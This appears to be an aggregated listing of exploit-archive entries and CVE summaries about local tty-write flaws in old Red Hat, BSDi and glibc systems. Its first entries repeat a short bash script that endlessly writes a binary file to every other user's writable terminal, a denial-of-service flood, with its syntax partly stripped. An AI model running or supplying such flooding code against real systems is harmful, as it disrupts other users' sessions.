Redhat 6.1 / 6.2 TTY Flood Users Exploit

Exploit for linux platform in category dos / poc ======================================== Redhat 6.1 / 6.2 TTY Flood Users Exploit ======================================== !/bin/bash by teleh0r TTYDIR=/dev/pts NONSENSE=/bin/nice MYTTY=tty To prevent flooding of one's own TTY while /bin/true ; do...

RedHat 6.16.2 - TTY Flood Users

RedHat 6.16.2 - TTY Flood Users !/bin/bash by teleh0r TTYDIR=/dev/pts NONSENSE=/bin/nice MYTTY=tty To prevent flooding of one's own TTY while /bin/true ; do for i in $TTYDIR/ ; do if -w $i -a -c $i -a $i != $MYTTY ; then cat $NONSENSE $i fi done done unset i milw0rm.com 2001-01-02...

RedHat 6.1/6.2 - TTY Flood Users

!/bin/bash by teleh0r TTYDIR=/dev/pts NONSENSE=/bin/nice MYTTY=tty To prevent flooding of one's own TTY while /bin/true ; do for i in $TTYDIR/ ; do if -w $i -a -c $i -a $i != $MYTTY ; then cat $NONSENSE $i fi done done unset i milw0rm.com 2001-01-02...

scx-sa-13.txt

============================================================================= Securax-SA-13 Security Advisory belgian.networking.security Dutch ============================================================================= Topic: all tty's can be written to when connecting Announced: 2001-01-01...

BSDi 3.0/4.0 rcvtty gid=tty exploit... (mh package)

well, i dont know if rcvtty is suppost to be setgid in general, since ive never seen it setgid on anything but BSDi 3.0 and 4.0. but none-the-less, here is a exploit i wrote for it: original ver: http://realhalo.org/xrcvtty.c xrcvtty.cmodified from original: ---------------------------------- /...

[SECURITY] New version of mc released

Package : mc Problem type : local DoS Debian-specific: no Maurycy Prodeus found a problem in cons.saver, a screensaver for the console that is included in the mc package. cons.saver does not check if it is started with a valid stdout, which combined with a bug in its check to see if its argument ...

CVE-2000-0364

The CVE-2000-0364 entry concerns Red Hat Linux 6.0 where screen and rxvt fail to properly set tty device modes, enabling a local user to write to other virtual consoles. The vulnerability is localized (attack vector LOCAL) with low complexity and no authentication, and it can impact confidentiali...

CVE-2000-0365

The CVE-2000-0365 entry concerns Red Hat Linux 6.0 where the /dev/pts file system is mounted with insecure modes. This configuration allows local users to write to other tty devices. The provided documents describe the affected component (/dev/pts) and the resulting local access impact but do not...

CVE-2000-0364

screen and rxvt in Red Hat Linux 6.0 do not properly set the modes of tty devices, which allows local users to write to other ttys...

CVE-2000-0365

Red Hat Linux 6.0 installs the /dev/pts file system with insecure modes, which allows local users to write to other tty devices...

CVE-2000-0364: Undefined Security Weakness

screen and rxvt in Red Hat Linux 6.0 do not properly set the modes of tty devices, which allows local users to write to other ttys...

CVE-2000-0365: Undefined Security Weakness

Red Hat Linux 6.0 installs the /dev/pts file system with insecure modes, which allows local users to write to other tty devices...

pam_console.bug

When accepting luser console login, pamconsole called by /bin/login tries to be user-friendly, doing several chowns on devices like login tty and corresponding vcsa device, as well as other interesting devices: fd, audio devices dsp, mixer, audio, midi, sequencer, cdrom, streamer/zip drive device...

pam_console bug

When accepting luser console login, pamconsole called by /bin/login tries to be user-friendly, doing several chowns on devices like login tty and corresponding vcsa device, as well as other interesting devices: fd, audio devices dsp, mixer, audio, midi, sequencer, cdrom, streamer/zip drive device...

CVE-1999-0720

The set of connected records confirms a Linux-specific vulnerability in the pt_chown utility: local attackers can modify TTY terminal devices that belong to other users, indicating a local privilege/permission misuse at the device level. The description across sources is consistent (pt_chown affe...

CVE-1999-0720

The ptchown command in Linux allows local users to modify TTY terminal devices that belong to other users...

CVE-1999-0720: Undefined Security Weakness

The ptchown command in Linux allows local users to modify TTY terminal devices that belong to other users...

CVE-1999-1341

Linux kernel before 2.3.18 or 2.2.13pre15, with SLIP and PPP options, allows local unprivileged users to forge IP packets via the TIOCSETD option on tty devices...

CVE-1999-0720

The ptchown command in Linux allows local users to modify TTY terminal devices that belong to other users...

GNU glibc 2.12.1.1 -6 - pt_chown Local Privilege Escalation

GNU glibc 2.12.1.1 -6 - ptchown Local Privilege Escalation // source: https://www.securityfocus.com/bid/597/info // ptchown is a program included with glibc 2.1.x that exists to aid the proper allocation of terminals for non-suid programs that don't have devpts support. It is installed setuid roo...